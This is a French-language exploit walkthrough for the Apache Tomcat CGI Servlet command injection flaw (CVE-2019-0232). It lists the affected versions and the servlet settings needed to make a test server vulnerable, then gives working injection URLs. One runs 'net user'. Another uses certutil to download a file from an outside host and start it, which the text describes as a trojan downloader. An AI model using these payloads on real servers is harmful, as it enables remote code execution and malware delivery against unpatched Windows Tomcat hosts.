
Exploit for Apache Tomcat CGI Servlet command injection (CVE-2019-0232), permettant l'exécution de code à distance via des requêtes HTTP conçues sur les versions concernées.
Environnement de test : Win10 Home 1809, version JRE 18.3 (build 10.0.2+13), version Tomcat 9.0.13.
★Apache Tomcat 9.0.0.M1 à 9.0.17
★Apache Tomcat 8.5.0 à 8.5.39
★Apache Tomcat 7.0.0 à 7.0.93
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
Configuration des mappages de servlets :
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
Ajouter l'attribut privileged="true"
<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>
Enfin, créez un fichier vide hello.bat dans le dossier webapps/ROOT/WEB-INF, vous n'avez rien à écrire dedans.
Démarrez Tomcat, ouvrez un navigateur et accédez au lien suivant :
http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

Construisez un lien d'injection pour réaliser la fonction d'un téléchargeur d'image (cheval de Troie) : http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
